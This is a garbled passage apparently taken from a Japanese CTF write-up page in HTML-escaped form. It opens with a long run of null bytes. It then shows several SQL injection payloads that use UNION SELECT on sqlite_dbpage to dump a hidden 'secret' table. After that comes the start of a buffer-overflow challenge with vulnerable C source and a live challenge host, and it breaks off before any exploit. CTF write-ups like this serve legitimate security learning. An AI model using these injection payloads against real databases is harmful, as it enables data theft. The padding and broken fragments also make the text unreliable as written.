x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x009\x03y\tAlpaca{Harder_version: `if &amp;#34;secret&amp;#34; in value.lower()`}&amp;#39;!
&amp;#39; UNION SELECT (SELECT data FROM sqlite_dbpage LIMIT 1 OFFSET 5), 1 --
Hello, None!
&lt;/code>&lt;/pre>&lt;/details>
&lt;p>以上は手動で&lt;code>secret&lt;/code>テーブルの&lt;code>rootpage&lt;/code>の値を確認したが，以下のようにすると&lt;u>&lt;strong>テーブルの名前の一部&lt;/strong>&lt;/u>から求められる．&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage WHERE pgno=(SELECT rootpage FROM sqlite_master WHERE name LIKE &amp;#39;sec%&amp;#39;) --
&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage WHERE pgno=(SELECT rootpage FROM sqlite_master WHERE name GLOB &amp;#39;sec*&amp;#39;) --
&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage WHERE pgno=(SELECT rootpage FROM sqlite_master WHERE tbl_name LIKE &amp;#39;sec%&amp;#39;) --
&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage WHERE pgno=(SELECT rootpage FROM sqlite_master WHERE tbl_name GLOB &amp;#39;sec*&amp;#39;) --
&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage WHERE pgno=(SELECT rootpage FROM sqlite_master WHERE sql LIKE &amp;#39;%sec%&amp;#39;) --
&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage WHERE pgno=(SELECT rootpage FROM sqlite_master WHERE sql GLOB &amp;#39;*sec*&amp;#39;) --
&lt;/code>&lt;/pre>&lt;p>ちなみに&lt;code>OFFSET&lt;/code>を用いると以下でも可能．&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;#39; UNION SELECT (SELECT data FROM sqlite_dbpage LIMIT 1 OFFSET (SELECT rootpage-1 FROM sqlite_master WHERE name GLOB &amp;#39;sec*&amp;#39;)), 1 --
&lt;/code>&lt;/pre>&lt;/details>
&lt;h2 id="pwn">Pwn&lt;/h2>
&lt;details class="article markdown-body">&lt;summary>&lt;u>
2025-12-27 simpleoverwrite [Medium]
&lt;/u>&lt;/summary>
&lt;h3 id="simpleoverwrite-medium">simpleoverwrite [Medium]&lt;/h3>
&lt;blockquote>
&lt;p>スタックとリターンアドレスを確認しましょう&lt;br>
simpleoverwrite.tar.gz&lt;br>
nc 34.170.146.252 59419&lt;/p>
&lt;/blockquote>
&lt;h4 id="概要-6">概要&lt;/h4>
&lt;p>Buffer Overflow (BOF)の脆弱性の問題．&lt;br>
スタック上のリターンアドレスを win 関数のアドレスに書き換える．&lt;/p>
&lt;h4 id="解法-4">解法&lt;/h4>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">src.c&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdint.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdlib.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;unistd.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">win&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">100&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">FILE&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">f&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">fopen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;./flag.txt&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;r&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fgets&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">100&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">puts&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;input:&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">read&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x20&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Hello, %s&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;return to: 0x%lx&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint64_t&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">)(((&lt;/span>&lt;span class="kt">void&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">18&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">__attribute__&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="n">constructor&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="kt">void&lt;/span> &lt;span class="nf">init&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">setvbuf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stdin&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">NULL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_IONBF&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">setvbuf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stdout&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">NULL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_IONBF&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">alarm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">120&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
